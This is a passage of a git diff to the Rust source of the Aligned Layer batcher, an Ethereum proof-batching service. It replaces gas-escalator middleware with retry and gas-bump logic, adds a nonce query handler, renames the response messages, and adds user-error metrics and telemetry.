, - fee_params: CreateNewTaskFeeParams, - payment_service: &BatcherPaymentService, -) -> Result { - let call = payment_service - .create_new_task( - batch_merkle_root, - batch_data_pointer, - proofs_submitters, - fee_params.fee_for_aggregator, - fee_params.fee_per_proof, - fee_params.respond_to_task_fee_limit, - ) - .gas_price(fee_params.gas_price); - - info!("Creating task for: {}", hex::encode(batch_merkle_root)); - - let pending_tx = call.send().await.map_err(|err| match err { - ContractError::Revert(err) => BatcherSendError::TransactionReverted(err.to_string()), - _ => BatcherSendError::UnknownError(err.to_string()), - })?; - - pending_tx - .await - .map_err(|err| BatcherSendError::UnknownError(err.to_string()))? - .ok_or(BatcherSendError::ReceiptNotFound) -} diff --git a/batcher/aligned-batcher/src/eth/service_manager.rs b/batcher/aligned-batcher/src/eth/service_manager.rs index 03f0d4ddd..db610ca9d 100644 --- a/batcher/aligned-batcher/src/eth/service_manager.rs +++ b/batcher/aligned-batcher/src/eth/service_manager.rs @@ -3,35 +3,25 @@ use std::{str::FromStr, sync::Arc}; use aligned_sdk::eth::aligned_service_manager::AlignedLayerServiceManagerContract; use ethers::{ core::k256::ecdsa::SigningKey, - middleware::{ - gas_escalator::{Frequency, GeometricGasPrice}, - GasEscalatorMiddleware, SignerMiddleware, - }, - providers::{Http, Middleware, Provider, RetryClient}, + middleware::SignerMiddleware, + providers::{Http, Middleware, Provider}, signers::{Signer, Wallet}, types::H160, }; use crate::config::ECDSAConfig; -use super::utils::{GAS_ESCALATOR_INTERVAL, GAS_MULTIPLIER}; - -pub type SignerMiddlewareT = - SignerMiddleware>>, Wallet>; +pub type SignerMiddlewareT = SignerMiddleware, Wallet>; pub type ServiceManager = AlignedLayerServiceManagerContract; pub async fn get_service_manager( - provider: Provider>, + provider: Provider, ecdsa_config: ECDSAConfig, contract_address: String, ) -> Result { let chain_id = provider.get_chainid().await?; - let escalator = GeometricGasPrice::new(GAS_MULTIPLIER, GAS_ESCALATOR_INTERVAL, None::); - - let provider = GasEscalatorMiddleware::new(provider, escalator, Frequency::PerBlock); - // get private key from keystore let wallet = Wallet::decrypt_keystore( &ecdsa_config.private_key_store_path, diff --git a/batcher/aligned-batcher/src/eth/utils.rs b/batcher/aligned-batcher/src/eth/utils.rs index 159c1e90d..6f5c67194 100644 --- a/batcher/aligned-batcher/src/eth/utils.rs +++ b/batcher/aligned-batcher/src/eth/utils.rs @@ -1,22 +1,151 @@ use std::str::FromStr; +use std::sync::Arc; -use ethers::providers::{Http, Provider, RetryClient}; +use crate::{ + config::ECDSAConfig, + retry::{ + batcher_retryables::{get_current_nonce_retryable, get_gas_price_retryable}, + retry_function, + }, +}; +use aligned_sdk::core::constants::{ + ETHEREUM_CALL_BACKOFF_FACTOR, ETHEREUM_CALL_MAX_RETRIES, ETHEREUM_CALL_MAX_RETRY_DELAY, + ETHEREUM_CALL_MIN_RETRY_DELAY, GAS_PRICE_INCREMENT_PERCENTAGE_PER_ITERATION, + OVERRIDE_GAS_PRICE_PERCENTAGE_MULTIPLIER, PERCENTAGE_DIVIDER, +}; +use ethers::prelude::*; +use ethers::providers::{Http, Provider}; +use log::error; -const MAX_RETRIES: u32 = 15; // Max retries for the retry client. Will only retry on network errors -const INITIAL_BACKOFF: u64 = 1000; // Initial backoff for the retry client in milliseconds, will increase every retry -pub(crate) const GAS_MULTIPLIER: f64 = 1.125; // Multiplier for the gas price for gas escalator -pub(crate) const GAS_ESCALATOR_INTERVAL: u64 = 12; // Time in seconds between gas escalations +use super::payment_service::SignerMiddlewareT; -pub fn get_provider(eth_rpc_url: String) -> Result>, anyhow::Error> { +pub fn get_provider(eth_rpc_url: String) -> Result, anyhow::Error> { let provider = Http::from_str(eth_rpc_url.as_str()) .map_err(|e| anyhow::Error::msg(format!("Failed to create provider: {}", e)))?; + Ok(Provider::new(provider)) +} + +pub async fn get_batcher_signer( + provider: Provider, + ecdsa_config: ECDSAConfig, +) -> anyhow::Result> { + let chain_id = provider.get_chainid().await?; + + // get private key from keystore + let wallet = Wallet::decrypt_keystore( + &ecdsa_config.private_key_store_path, + &ecdsa_config.private_key_store_password, + )? + .with_chain_id(chain_id.as_u64()); + + let signer = Arc::new(SignerMiddleware::new(provider, wallet)); + Ok(signer) +} + +/// Calculates an increased gas price for retrying a transaction override. +/// The gas price rises with each retry by applying a multiplier based on the iteration count. +pub fn calculate_bumped_gas_price( + previous_gas_price: U256, + current_gas_price: U256, + iteration: usize, +) -> U256 { + let override_gas_multiplier = U256::from(OVERRIDE_GAS_PRICE_PERCENTAGE_MULTIPLIER) + + (GAS_PRICE_INCREMENT_PERCENTAGE_PER_ITERATION * iteration); + let bumped_previous_gas_price = + previous_gas_price * override_gas_multiplier / U256::from(PERCENTAGE_DIVIDER); + + let bumped_current_gas_price = + current_gas_price * override_gas_multiplier / U256::from(PERCENTAGE_DIVIDER); + // Return the maximum of the previous and current gas prices + // to avoid sending a transaction with a gas price lower than the previous one. + bumped_current_gas_price.max(bumped_previous_gas_price) +} + +/// Gets the current nonce from Ethereum. +/// Retries on recoverable errors using exponential backoff up to `ETHEREUM_CALL_MAX_RETRIES` times: +/// (0,5 secs - 1 secs - 2 secs - 4 secs - 8 secs). +pub async fn get_current_nonce( + eth_http_provider: &Provider, + eth_http_provider_fallback: &Provider, + addr: H160, +) -> Result { + retry_function( + || get_current_nonce_retryable(eth_http_provider, eth_http_provider_fallback, addr), + ETHEREUM_CALL_MIN_RETRY_DELAY, + ETHEREUM_CALL_BACKOFF_FACTOR, + ETHEREUM_CALL_MAX_RETRIES, + ETHEREUM_CALL_MAX_RETRY_DELAY, + ) + .await + .map_err(|e| { + error!("Could't get nonce: {:?}", e); + e.inner() + }) +} + +/// Gets the current gas price from Ethereum. +/// Retries on recoverable errors using exponential backoff up to `ETHEREUM_CALL_MAX_RETRIES` times: +/// (0,5 secs - 1 secs - 2 secs - 4 secs - 8 secs). +pub async fn get_gas_price( + eth_http_provider: &Provider, + eth_http_provider_fallback: &Provider, +) -> Result { + retry_function( + || get_gas_price_retryable(eth_http_provider, eth_http_provider_fallback), + ETHEREUM_CALL_MIN_RETRY_DELAY, + ETHEREUM_CALL_BACKOFF_FACTOR, + ETHEREUM_CALL_MAX_RETRIES, + ETHEREUM_CALL_MAX_RETRY_DELAY, + ) + .await + .map_err(|e| { + error!("Could't get gas price: {e}"); + e.inner() + }) +} +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_get_bumped_gas_price_initial_iteration() { + let previous_gas_price = U256::from(1000); + let current_gas_price = U256::from(1200); + let iteration = 0; + + let expected = U256::from(1440); // (1200 * (120 + 0)) / 100 + + assert_eq!( + calculate_bumped_gas_price(previous_gas_price, current_gas_price, iteration), + expected + ); + } + + #[test] + fn test_get_bumped_gas_price_with_iteration() { + let previous_gas_price = U256::from(1000); + let current_gas_price = U256::from(1200); + let iteration = 2; + + let expected = U256::from(1560); // (1200 * (120 + 10) / 100 + + assert_eq!( + calculate_bumped_gas_price(previous_gas_price, current_gas_price, iteration), + expected + ); + } + + #[test] + fn test_get_bumped_gas_price_previous_higher() { + let previous_gas_price = U256::from(1500); + let current_gas_price = U256::from(1200); + let iteration = 1; - let client = RetryClient::new( - provider, - Box::::default(), - MAX_RETRIES, - INITIAL_BACKOFF, - ); + let expected = U256::from(1875); // (1500 * (120 + 5) / 100 - Ok(Provider::>::new(client)) + assert_eq!( + calculate_bumped_gas_price(previous_gas_price, current_gas_price, iteration), + expected + ); + } } diff --git a/batcher/aligned-batcher/src/lib.rs b/batcher/aligned-batcher/src/lib.rs index aa5389845..7b777d43a 100644 --- a/batcher/aligned-batcher/src/lib.rs +++ b/batcher/aligned-batcher/src/lib.rs @@ -3,8 +3,14 @@ use config::NonPayingConfig; use connection::{send_message, WsMessageSink}; use dotenvy::dotenv; use eth::service_manager::ServiceManager; +use eth::utils::{calculate_bumped_gas_price, get_batcher_signer, get_gas_price}; use ethers::contract::ContractError; use ethers::signers::Signer; +use retry::batcher_retryables::{ + cancel_create_new_task_retryable, create_new_task_retryable, get_user_balance_retryable, + get_user_nonce_from_ethereum_retryable, user_balance_is_unlocked_retryable, +}; +use retry::{retry_function, RetryError}; use types::batch_state::BatchState; use types::user_state::UserState; @@ -14,23 +20,22 @@ use std::net::SocketAddr; use std::sync::Arc; use aligned_sdk::core::constants::{ - ADDITIONAL_SUBMISSION_GAS_COST_PER_PROOF, AGGREGATOR_GAS_COST, CONSTANT_GAS_COST, + ADDITIONAL_SUBMISSION_GAS_COST_PER_PROOF, AGGREGATOR_GAS_COST, BUMP_BACKOFF_FACTOR, + BUMP_MAX_RETRIES, BUMP_MAX_RETRY_DELAY, BUMP_MIN_RETRY_DELAY, CONSTANT_GAS_COST, DEFAULT_AGGREGATOR_FEE_PERCENTAGE_MULTIPLIER, DEFAULT_MAX_FEE_PER_PROOF, - GAS_PRICE_PERCENTAGE_MULTIPLIER, MIN_FEE_PER_PROOF, PERCENTAGE_DIVIDER, + ETHEREUM_CALL_BACKOFF_FACTOR, ETHEREUM_CALL_MAX_RETRIES, ETHEREUM_CALL_MAX_RETRY_DELAY, + ETHEREUM_CALL_MIN_RETRY_DELAY, GAS_PRICE_PERCENTAGE_MULTIPLIER, PERCENTAGE_DIVIDER, RESPOND_TO_TASK_FEE_LIMIT_PERCENTAGE_MULTIPLIER, }; use aligned_sdk::core::types::{ - ClientMessage, NoncedVerificationData, ProofInvalidReason, ProvingSystemId, ResponseMessage, - ValidityResponseMessage, VerificationCommitmentBatch, VerificationData, - VerificationDataCommitment, + ClientMessage, GetNonceResponseMessage, NoncedVerificationData, ProofInvalidReason, + ProvingSystemId, SubmitProofMessage, SubmitProofResponseMessage, VerificationCommitmentBatch, + VerificationData, VerificationDataCommitment, }; use aws_sdk_s3::client::Client as S3Client; -use eth::payment_service::{ - try_create_new_task, BatcherPaymentService, CreateNewTaskFeeParams, SignerMiddlewareT, -}; +use eth::payment_service::{BatcherPaymentService, CreateNewTaskFeeParams, SignerMiddlewareT}; use ethers::prelude::{Middleware, Provider}; -use ethers::providers::Ws; use ethers::types::{Address, Signature, TransactionReceipt, U256}; use futures_util::{future, SinkExt, StreamExt, TryStreamExt}; use lambdaworks_crypto::merkle_tree::merkle::MerkleTree; @@ -40,27 +45,34 @@ use tokio::net::{TcpListener, TcpStream}; use tokio::sync::{Mutex, MutexGuard, RwLock}; use tokio_tungstenite::tungstenite::{Error, Message}; use types::batch_queue::{self, BatchQueueEntry, BatchQueueEntryPriority}; -use types::errors::{BatcherError, BatcherSendError}; +use types::errors::BatcherError; use crate::config::{ConfigFromYaml, ContractDeploymentOutput}; +use crate::telemetry::sender::TelemetrySender; mod config; mod connection; mod eth; pub mod gnark; pub mod metrics; +pub mod retry; pub mod risc_zero; pub mod s3; pub mod sp1; +pub mod telemetry; pub mod types; mod zk_utils; +pub const LISTEN_NEW_BLOCKS_MAX_TIMES: usize = usize::MAX; + pub struct Batcher { s3_client: S3Client, s3_bucket_name: String, download_endpoint: String, - eth_ws_provider: Provider, - eth_ws_provider_fallback: Provider, + eth_ws_url: String, + eth_ws_url_fallback: String, + batcher_signer: Arc, + batcher_signer_fallback: Arc, chain_id: U256, payment_service: BatcherPaymentService, payment_service_fallback: BatcherPaymentService, @@ -68,14 +80,17 @@ pub struct Batcher { service_manager_fallback: ServiceManager, batch_state: Mutex, max_block_interval: u64, + transaction_wait_timeout: u64, max_proof_size: usize, - max_batch_size: usize, + max_batch_byte_size: usize, + max_batch_proof_qty: usize, last_uploaded_batch_block: Mutex, pre_verification_is_enabled: bool, non_paying_config: Option, posting_batch: Mutex, disabled_verifiers: Mutex, pub metrics: metrics::BatcherMetrics, + pub telemetry: TelemetrySender, } impl Batcher { @@ -97,11 +112,6 @@ impl Batcher { let deployment_output = ContractDeploymentOutput::new(config.aligned_layer_deployment_config_file_path); - let eth_ws_provider = - Provider::connect_with_reconnects(&config.eth_ws_url, config.batcher.eth_ws_reconnects) - .await - .expect("Failed to get ethereum websocket provider"); - log::info!( "Starting metrics server on port {}", config.batcher.metrics_port @@ -109,35 +119,22 @@ impl Batcher { let metrics = metrics::BatcherMetrics::start(config.batcher.metrics_port) .expect("Failed to start metrics server"); - let eth_ws_provider_fallback = Provider::connect_with_reconnects( - &config.eth_ws_url_fallback, - config.batcher.eth_ws_reconnects, - ) - .await - .expect("Failed to get fallback ethereum websocket provider"); - - let eth_rpc_provider = + let eth_http_provider = eth::get_provider(config.eth_rpc_url.clone()).expect("Failed to get provider"); - let eth_rpc_provider_fallback = eth::get_provider(config.eth_rpc_url_fallback.clone()) + let eth_http_provider_fallback = eth::get_provider(config.eth_rpc_url_fallback.clone()) .expect("Failed to get fallback provider"); - let eth_rpc_provider_service_manager = - eth::get_provider(config.eth_rpc_url.clone()).expect("Failed to get provider"); - - let eth_rpc_provider_service_manager_fallback = - eth::get_provider(config.eth_rpc_url.clone()).expect("Failed to get provider"); - // FIXME(marian): We are getting just the last block number right now, but we should really // have the last submitted batch block registered and query it when the batcher is initialized. - let last_uploaded_batch_block = match eth_rpc_provider.get_block_number().await { + let last_uploaded_batch_block = match eth_http_provider.get_block_number().await { Ok(block_num) => block_num, Err(e) => { warn!( "Failed to get block number with main rpc, trying with fallback rpc. Err: {:?}", e ); - eth_rpc_provider_fallback + eth_http_provider_fallback .get_block_number() .await .expect("Failed to get block number with fallback rpc") @@ -146,35 +143,42 @@ impl Batcher { let last_uploaded_batch_block = last_uploaded_batch_block.as_u64(); - let chain_id = match eth_rpc_provider.get_chainid().await { + let chain_id = match eth_http_provider.get_chainid().await { Ok(chain_id) => chain_id, Err(e) => { warn!("Failed to get chain id with main rpc: {}", e); - eth_rpc_provider_fallback + eth_http_provider_fallback .get_chainid() .await .expect("Failed to get chain id with fallback rpc") } }; + let batcher_signer = get_batcher_signer(eth_http_provider.clone(), config.ecdsa.clone()) + .await + .expect("Failed to get Batcher signer"); + + let batcher_signer_fallback = + get_batcher_signer(eth_http_provider_fallback.clone(), config.ecdsa.clone()) + .await + .expect("Failed to get Batcher signer fallback"); + let payment_service = eth::payment_service::get_batcher_payment_service( - eth_rpc_provider, - config.ecdsa.clone(), + batcher_signer.clone(), deployment_output.addresses.batcher_payment_service.clone(), ) .await .expect("Failed to get Batcher Payment Service contract"); let payment_service_fallback = eth::payment_service::get_batcher_payment_service( - eth_rpc_provider_fallback, - config.ecdsa.clone(), + batcher_signer_fallback.clone(), deployment_output.addresses.batcher_payment_service, ) .await .expect("Failed to get fallback Batcher Payment Service contract"); let service_manager = eth::service_manager::get_service_manager( - eth_rpc_provider_service_manager, + eth_http_provider.clone(), config.ecdsa.clone(), deployment_output.addresses.service_manager.clone(), ) @@ -182,7 +186,7 @@ impl Batcher { .expect("Failed to get Service Manager contract"); let service_manager_fallback = eth::service_manager::get_service_manager( - eth_rpc_provider_service_manager_fallback, + eth_http_provider_fallback.clone(), config.ecdsa, deployment_output.addresses.service_manager, ) @@ -220,20 +224,29 @@ impl Batcher { } .expect("Failed to get disabled verifiers"); + let telemetry = TelemetrySender::new(format!( + "http://{}", + config.batcher.telemetry_ip_port_address + )); + Self { s3_client, s3_bucket_name, download_endpoint, - eth_ws_provider, - eth_ws_provider_fallback, + eth_ws_url: config.eth_ws_url, + eth_ws_url_fallback: config.eth_ws_url_fallback, + batcher_signer, + batcher_signer_fallback, chain_id, payment_service, payment_service_fallback, service_manager, service_manager_fallback, max_block_interval: config.batcher.block_interval, + transaction_wait_timeout: config.batcher.transaction_wait_timeout, max_proof_size: config.batcher.max_proof_size, - max_batch_size: config.batcher.max_batch_size, + max_batch_byte_size: config.batcher.max_batch_byte_size, + max_batch_proof_qty: config.batcher.max_batch_proof_qty, last_uploaded_batch_block: Mutex::new(last_uploaded_batch_block), pre_verification_is_enabled: config.batcher.pre_verification_is_enabled, non_paying_config, @@ -241,6 +254,7 @@ impl Batcher { batch_state: Mutex::new(batch_state), disabled_verifiers: Mutex::new(disabled_verifiers), metrics, + telemetry, } } @@ -260,18 +274,53 @@ impl Batcher { Ok(()) } + /// Listen for Ethereum new blocks. + /// Retries on recoverable errors using exponential backoff + /// with the maximum number of retries and a `MAX_DELAY` of 1 hour. pub async fn listen_new_blocks(self: Arc) -> Result<(), BatcherError> { - let mut stream = self - .eth_ws_provider - .subscribe_blocks() - .await - .map_err(|e| BatcherError::EthereumSubscriptionError(e.to_string()))?; + retry_function( + || { + let app = self.clone(); + async move { app.listen_new_blocks_retryable().await } + }, + ETHEREUM_CALL_MIN_RETRY_DELAY, + ETHEREUM_CALL_BACKOFF_FACTOR, + LISTEN_NEW_BLOCKS_MAX_TIMES, + ETHEREUM_CALL_MAX_RETRY_DELAY, + ) + .await + .map_err(|e| e.inner()) + } - let mut stream_fallback = self - .eth_ws_provider_fallback - .subscribe_blocks() - .await - .map_err(|e| BatcherError::EthereumSubscriptionError(e.to_string()))?; + pub async fn listen_new_blocks_retryable( + self: Arc, + ) -> Result<(), RetryError> { + let eth_ws_provider = Provider::connect(&self.eth_ws_url).await.map_err(|e| { + warn!("Failed to instantiate Ethereum websocket provider"); + RetryError::Transient(BatcherError::EthereumSubscriptionError(e.to_string())) + })?; + + let eth_ws_provider_fallback = + Provider::connect(&self.eth_ws_url_fallback) + .await + .map_err(|e| { + warn!("Failed to instantiate fallback Ethereum websocket provider"); + RetryError::Transient(BatcherError::EthereumSubscriptionError(e.to_string())) + })?; + + let mut stream = eth_ws_provider.subscribe_blocks().await.map_err(|e| { + warn!("Error subscribing to blocks."); + RetryError::Transient(BatcherError::EthereumSubscriptionError(e.to_string())) + })?; + + let mut stream_fallback = + eth_ws_provider_fallback + .subscribe_blocks() + .await + .map_err(|e| { + warn!("Error subscribing to blocks."); + RetryError::Transient(BatcherError::EthereumSubscriptionError(e.to_string())) + })?; let last_seen_block = Mutex::::new(0); @@ -298,8 +347,11 @@ impl Batcher { }; }); } + error!("Failed to fetch blocks"); - Ok(()) + Err(RetryError::Transient( + BatcherError::EthereumSubscriptionError("Could not get new blocks".to_string()), + )) } async fn handle_connection( @@ -314,7 +366,7 @@ impl Batcher { let (outgoing, incoming) = ws_stream.split(); let outgoing = Arc::new(RwLock::new(outgoing)); - let protocol_version_msg = ResponseMessage::ProtocolVersion( + let protocol_version_msg = SubmitProofResponseMessage::ProtocolVersion( aligned_sdk::communication::protocol::EXPECTED_PROTOCOL_VERSION, ); @@ -354,11 +406,89 @@ impl Batcher { Ok(msg) => msg, Err(e) => { warn!("Failed to deserialize message: {}", e); + self.metrics.user_error(&["deserialize_error", ""]); + return Ok(()); + } + }; + info!("Received new client message of type: {}", client_msg); + match client_msg { + ClientMessage::GetNonceForAddress(address) => { + self.clone() + .handle_get_nonce_for_address_msg(address, ws_conn_sink) + .await + } + ClientMessage::SubmitProof(msg) => { + self.clone() + .handle_submit_proof_msg(msg, ws_conn_sink) + .await + } + } + } + + async fn handle_get_nonce_for_address_msg( + self: Arc, + mut address: Address, + ws_conn_sink: WsMessageSink, + ) -> Result<(), Error> { + if self.is_nonpaying(&address) { + info!("Handling nonpaying message"); + let Some(non_paying_config) = self.non_paying_config.as_ref() else { + warn!( + "There isn't a non-paying configuration loaded. This message will be ignored" + ); + send_message( + ws_conn_sink.clone(), + GetNonceResponseMessage::InvalidRequest( + "There isn't a non-paying configuration loaded.".to_string(), + ), + ) + .await; return Ok(()); + }; + let replacement_addr = non_paying_config.replacement.address(); + address = replacement_addr; + } + + let cached_user_nonce = { + let batch_state_lock = self.batch_state.lock().await; + batch_state_lock.get_user_nonce(&address).await + }; + + let user_nonce = if let Some(user_nonce) = cached_user_nonce { + user_nonce + } else { + match self.get_user_nonce_from_ethereum(address).await { + Ok(ethereum_user_nonce) => ethereum_user_nonce, + Err(e) => { + error!( + "Failed to get user nonce from Ethereum for address {address:?}. Error: {e:?}" + ); + send_message( + ws_conn_sink.clone(), + GetNonceResponseMessage::EthRpcError("Eth RPC error".to_string()), + ) + .await; + return Ok(()); + } } }; + + send_message( + ws_conn_sink.clone(), + GetNonceResponseMessage::Nonce(user_nonce), + ) + .await; + + Ok(()) + } + + async fn handle_submit_proof_msg( + self: Arc, + client_msg: Box, + ws_conn_sink: WsMessageSink, + ) -> Result<(), Error> { let msg_nonce = client_msg.verification_data.nonce; - debug!("Received message with nonce: {msg_nonce:?}",); + debug!("Received message with nonce: {msg_nonce:?}"); self.metrics.received_proofs.inc(); // * ---------------------------------------------------* @@ -371,10 +501,10 @@ impl Batcher { warn!("Received message with incorrect chain id: {msg_chain_id}"); send_message( ws_conn_sink.clone(), - ValidityResponseMessage::InvalidChainId, + SubmitProofResponseMessage::InvalidChainId, ) .await; - + self.metrics.user_error(&["invalid_chain_id", ""]); return Ok(()); } @@ -384,13 +514,14 @@ impl Batcher { warn!("Received message with incorrect payment service address: {msg_payment_service_addr}"); send_message( ws_conn_sink.clone(), - ValidityResponseMessage::InvalidPaymentServiceAddress( + SubmitProofResponseMessage::InvalidPaymentServiceAddress( msg_payment_service_addr, self.payment_service.address(), ), ) .await; - + self.metrics + .user_error(&["invalid_payment_service_address", ""]); return Ok(()); } @@ -399,9 +530,10 @@ impl Batcher { error!("Signature verification error"); send_message( ws_conn_sink.clone(), - ValidityResponseMessage::InvalidSignature, + SubmitProofResponseMessage::InvalidSignature, ) .await; + self.metrics.user_error(&["invalid_signature", ""]); return Ok(()); }; info!("Message signature verified"); @@ -409,7 +541,12 @@ impl Batcher { let proof_size = client_msg.verification_data.verification_data.proof.len(); if proof_size > self.max_proof_size { error!("Proof size exceeds the maximum allowed size."); - send_message(ws_conn_sink.clone(), ValidityResponseMessage::ProofTooLarge).await; + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::ProofTooLarge, + ) + .await; + self.metrics.user_error(&["proof_too_large", ""]); return Ok(()); } @@ -428,11 +565,15 @@ impl Batcher { ); send_message( ws_conn_sink.clone(), - ValidityResponseMessage::InvalidProof(ProofInvalidReason::DisabledVerifier( + SubmitProofResponseMessage::InvalidProof(ProofInvalidReason::DisabledVerifier( verification_data.proving_system, )), ) .await; + self.metrics.user_error(&[ + "disabled_verifier", + &format!("{}", verification_data.proving_system), + ]); return Ok(()); } @@ -440,9 +581,13 @@ impl Batcher { error!("Invalid proof detected. Verification failed"); send_message( ws_conn_sink.clone(), - ValidityResponseMessage::InvalidProof(ProofInvalidReason::RejectedProof), + SubmitProofResponseMessage::InvalidProof(ProofInvalidReason::RejectedProof), ) .await; + self.metrics.user_error(&[ + "rejected_proof", + &format!("{}", verification_data.proving_system), + ]); return Ok(()); } } @@ -461,9 +606,10 @@ impl Batcher { if self.user_balance_is_unlocked(&addr).await { send_message( ws_conn_sink.clone(), - ValidityResponseMessage::InsufficientBalance(addr), + SubmitProofResponseMessage::InsufficientBalance(addr), ) .await; + self.metrics.user_error(&["insufficient_balance", ""]); return Ok(()); } @@ -484,7 +630,12 @@ impl Batcher { error!( "Failed to get user nonce from Ethereum for address {addr:?}. Error: {e:?}" ); - send_message(ws_conn_sink.clone(), ValidityResponseMessage::InvalidNonce).await; + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::EthRpcError, + ) + .await; + self.metrics.user_error(&["eth_rpc_error", ""]); return Ok(()); } }; @@ -502,7 +653,12 @@ impl Batcher { let Some(user_balance) = self.get_user_balance(&addr).await else { error!("Could not get balance for address {addr:?}"); - send_message(ws_conn_sink.clone(), ValidityResponseMessage::EthRpcError).await; + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::EthRpcError, + ) + .await; + self.metrics.user_error(&["eth_rpc_error", ""]); return Ok(()); }; @@ -511,20 +667,41 @@ impl Batcher { // finally add the proof to the batch queue. let batch_state_lock = self.batch_state.lock().await; - let Some(proofs_in_batch) = batch_state_lock.get_user_proof_count(&addr).await else { - error!("Failed to get user proof count: User not found in user states, but it should have been already inserted"); + + let msg_max_fee = nonced_verification_data.max_fee; + let Some(user_last_max_fee_limit) = + batch_state_lock.get_user_last_max_fee_limit(&addr).await + else { std::mem::drop(batch_state_lock); - send_message(ws_conn_sink.clone(), ValidityResponseMessage::InvalidNonce).await; + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::AddToBatchError, + ) + .await; + self.metrics.user_error(&["batcher_state_error", ""]); return Ok(()); }; - if !self.check_min_balance(proofs_in_batch + 1, user_balance) { + let Some(user_accumulated_fee) = batch_state_lock.get_user_total_fees_in_queue(&addr).await + else { std::mem::drop(batch_state_lock); send_message( ws_conn_sink.clone(), - ValidityResponseMessage::InsufficientBalance(addr), + SubmitProofResponseMessage::AddToBatchError, ) .await; + self.metrics.user_error(&["batcher_state_error", ""]); + return Ok(()); + }; + + if !self.verify_user_has_enough_balance(user_balance, user_accumulated_fee, msg_max_fee) { + std::mem::drop(batch_state_lock); + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::InsufficientBalance(addr), + ) + .await; + self.metrics.user_error(&["insufficient_balance", ""]); return Ok(()); } @@ -532,14 +709,24 @@ impl Batcher { let Some(expected_nonce) = cached_user_nonce else { error!("Failed to get cached user nonce: User not found in user states, but it should have been already inserted"); std::mem::drop(batch_state_lock); - send_message(ws_conn_sink.clone(), ValidityResponseMessage::InvalidNonce).await; + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::AddToBatchError, + ) + .await; + self.metrics.user_error(&["batcher_state_error", ""]); return Ok(()); }; if expected_nonce < msg_nonce { std::mem::drop(batch_state_lock); - warn!("Invalid nonce for address {addr}, had nonce {expected_nonce:?} < {msg_nonce:?}"); - send_message(ws_conn_sink.clone(), ValidityResponseMessage::InvalidNonce).await; + warn!("Invalid nonce for address {addr}, expected nonce: {expected_nonce:?}, received nonce: {msg_nonce:?}"); + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::InvalidNonce, + ) + .await; + self.metrics.user_error(&["invalid_nonce", ""]); return Ok(()); } @@ -559,17 +746,15 @@ impl Batcher { return Ok(()); } - let msg_max_fee = nonced_verification_data.max_fee; - let Some(user_min_fee) = batch_state_lock.get_user_min_fee(&addr).await else { - std::mem::drop(batch_state_lock); - send_message(ws_conn_sink.clone(), ValidityResponseMessage::InvalidNonce).await; - return Ok(()); - }; - - if msg_max_fee > user_min_fee { + if msg_max_fee > user_last_max_fee_limit { std::mem::drop(batch_state_lock); - warn!("Invalid max fee for address {addr}, had fee {user_min_fee:?} < {msg_max_fee:?}"); - send_message(ws_conn_sink.clone(), ValidityResponseMessage::InvalidMaxFee).await; + warn!("Invalid max fee for address {addr}, had fee limit of {user_last_max_fee_limit:?}, sent {msg_max_fee:?}"); + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::InvalidMaxFee, + ) + .await; + self.metrics.user_error(&["invalid_max_fee", ""]); return Ok(()); } @@ -588,12 +773,12 @@ impl Batcher { .await { error!("Error while adding entry to batch: {e:?}"); - send_message(ws_conn_sink, ValidityResponseMessage::AddToBatchError).await; + send_message(ws_conn_sink, SubmitProofResponseMessage::AddToBatchError).await; + self.metrics.user_error(&["add_to_batch_error", ""]); return Ok(()); }; info!("Verification data message handled"); - send_message(ws_conn_sink, ValidityResponseMessage::Valid).await; Ok(()) } @@ -602,10 +787,15 @@ impl Batcher { zk_utils::is_verifier_disabled(*disabled_verifiers, verifier) } - // Checks user has sufficient balance for paying all its the proofs in the current batch. - fn check_min_balance(&self, user_proofs_in_batch: usize, user_balance: U256) -> bool { - let min_balance = U256::from(user_proofs_in_batch) * U256::from(MIN_FEE_PER_PROOF); - user_balance >= min_balance + // Verifies user has enough balance for paying all his proofs in the current batch. + fn verify_user_has_enough_balance( + &self, + user_balance: U256, + user_accumulated_fee: U256, + new_msg_max_fee: U256, + ) -> bool { + let required_balance: U256 = user_accumulated_fee + new_msg_max_fee; + user_balance >= required_balance } /// Handles a replacement message @@ -628,20 +818,26 @@ impl Batcher { let Some(entry) = batch_state_lock.get_entry(addr, nonce) else { std::mem::drop(batch_state_lock); warn!("Invalid nonce for address {addr}. Queue entry with nonce {nonce} not found"); - send_message(ws_conn_sink.clone(), ValidityResponseMessage::InvalidNonce).await; + send_message( + ws_conn_sink.clone(), + SubmitProofResponseMessage::InvalidNonce, + ) + .await; + self.metrics.user_error(&["invalid_nonce", ""]); return; }; let original_max_fee = entry.nonced_verification_data.max_fee; if original_max_fee > replacement_max_fee { std::mem::drop(batch_state_lock); - warn!("Invalid replacement message for address {addr}, had fee {original_max_fee:?} < {replacement_max_fee:?}"); + warn!("Invalid replacement message for address {addr}, had max fee: {original_max_fee:?}, received fee: {replacement_max_fee:?}"); send_message( ws_conn_sink.clone(), - ValidityResponseMessage::InvalidReplacementMessage, + SubmitProofResponseMessage::InvalidReplacementMessage, ) .await; - + self.metrics + .user_error(&["invalid_replacement_message", ""]); return; } @@ -661,6 +857,8 @@ impl Batcher { if let Err(e) = old_sink.close().await { // we dont want to exit here, just log the error warn!("Error closing sink: {e:?}"); + } else { + info!("Old websocket sink closed"); } } else { warn!( @@ -675,9 +873,11 @@ impl Batcher { warn!("Invalid replacement message"); send_message( ws_conn_sink.clone(), - ValidityResponseMessage::InvalidReplacementMessage, + SubmitProofResponseMessage::InvalidReplacementMessage, ) .await; + self.metrics + .user_error(&["invalid_replacement_message", ""]); return; } @@ -696,13 +896,38 @@ impl Batcher { BatchQueueEntryPriority::new(replacement_max_fee, nonce), ); - let updated_min_fee_in_batch = batch_state_lock.get_user_min_fee_in_batch(&addr); + // update max_fee_limit + let updated_max_fee_limit_in_batch = batch_state_lock.get_user_min_fee_in_batch(&addr); if batch_state_lock - .update_user_min_fee(&addr, updated_min_fee_in_batch) + .update_user_max_fee_limit(&addr, updated_max_fee_limit_in_batch) .is_none() { std::mem::drop(batch_state_lock); warn!("User state for address {addr:?} was not present in batcher user states, but it should be"); + send_message( + ws_conn_sink.clone(), + 